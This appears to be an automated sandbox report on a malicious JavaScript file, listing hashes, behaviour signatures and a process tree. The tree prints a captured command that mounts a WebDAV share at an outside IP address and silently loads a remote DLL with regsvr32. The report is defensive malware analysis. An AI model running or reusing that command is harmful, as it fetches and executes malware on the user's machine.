Analysis

  • max time kernel
    142s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 07:19

General

  • Target

    2180188961564923168.js

  • Size

    3KB

  • MD5

    4f97ef0a2bcb882d6f7ac3eb43ff98ee

  • SHA1

    749fdb0fadcf9a9a81a8b7ca5a907c0b4ae5e50f

  • SHA256

    7688dd71b4330b52c88a501ad17d1204220f67941bce8d5e217619310931d65b

  • SHA512

    012ddcb0b92cecf9346d0c127cde36008fa28558410ba529a11d3c92ab9b4daeee869a5b5959066cf53283274842baba14ba0cd64b4511441bf748f1be8d7e0a

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2180188961564923168.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\253471499624065.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5100
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4764

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads